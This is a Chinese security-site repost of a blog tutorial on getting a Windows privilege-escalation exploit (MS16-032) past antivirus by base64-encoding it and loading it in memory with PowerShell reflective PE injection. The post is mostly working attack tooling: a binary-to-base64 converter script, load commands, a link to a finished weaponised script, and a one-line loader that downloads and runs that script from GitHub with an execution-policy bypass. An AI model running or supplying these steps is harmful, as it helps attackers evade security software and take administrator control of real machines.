BypassAV With ReflectivePEInjection-华盟网

BypassAV With ReflectivePEInjection

华盟学院山东省第二期线下学习计划

有时候,使用某些exp进行提权的时候,exp可能会被查杀,当然,有源码的话,我们可以在源码上进行修改进行免杀处理,但是今天介绍的是另外一只方法,即使用PEloader来加载exp。
powershell的PEloader在这里,查看代码我们可以看到,这个脚本使用非常简单,具体代码如下:

$PEBytes=[IO.File]::ReadAllBytes('DemoEXE.exe')
Invoke-ReflectivePEInjection-PEBytes$PEBytes-ExeArgs"Arg1 Arg2 Arg3 Arg4"

获取exp的字节流,之后再在内存中加载exp,所以思路也很简单,我们只需要把需要的exp转换成字符串,写入脚本,就可以构造一个powershell脚本。
这里整理了一个脚本方便转换:

functionConvert-BinaryToString{
[CmdletBinding()]param(
[string]$FilePath
)
try
$ByteArray=[System.IO.File]::ReadAllBytes($FilePath);
}
catch {
throw"Failed to read file. Ensure that you have permission to the
file, and that the file path is correct.";
}
if($ByteArray) {
$Base64String=[System.Convert]::ToBase64String($ByteArray);
}
else{
throw'$ByteArray is $null.';
}
$Base64String|set-content("b64.txt")
}

使用zcgonvh的16032做演示。使用脚本转换:

PS C:\Users\evi1cg\Desktop\16_032> . .\Convert-BinaryToString.ps1
PS C:\Users\evi1cg\Desktop\16_032>Convert-BinaryToString-FilePath.
\ms16-032_x64.exe

生成base64的字符串并存储在b64.txt中。

   

使用如下命令进行转换:

$InputString="base64string"
$PEBytes=[System.Convert]::FromBase64String($InputString)

之后就可以使用Invoke-ReflectivePEInjection-PEBytes$PEBytes进行加载,

最后分享一下最终的脚本:
E2P_MS16-032.ps1
https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/E2P_MS16-032.ps1
使用方式为:E2P_MS16-032-Command'"net user"'

 

脚本GITHUB:。
远程加载命令:

powershell-nop-execbypass-c"IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/Ridter/Pentest/master/powershell/MyShell/E2P_MS16-032.ps1');E2P_MS16-032 -Command '\"whoami\"'"

 

www.idc126.com

文章出处:Evi1cg's blog
原文链接:https://evi1cg.me/archives/BypassAV_With_ReflectivePEInjection.html

本文由 华盟网 作者:congtou 发表,其版权均为 华盟网 所有,文章内容系作者个人观点,不代表 华盟网 对观点赞同或支持。如需转载,请注明文章来源。
0

发表评论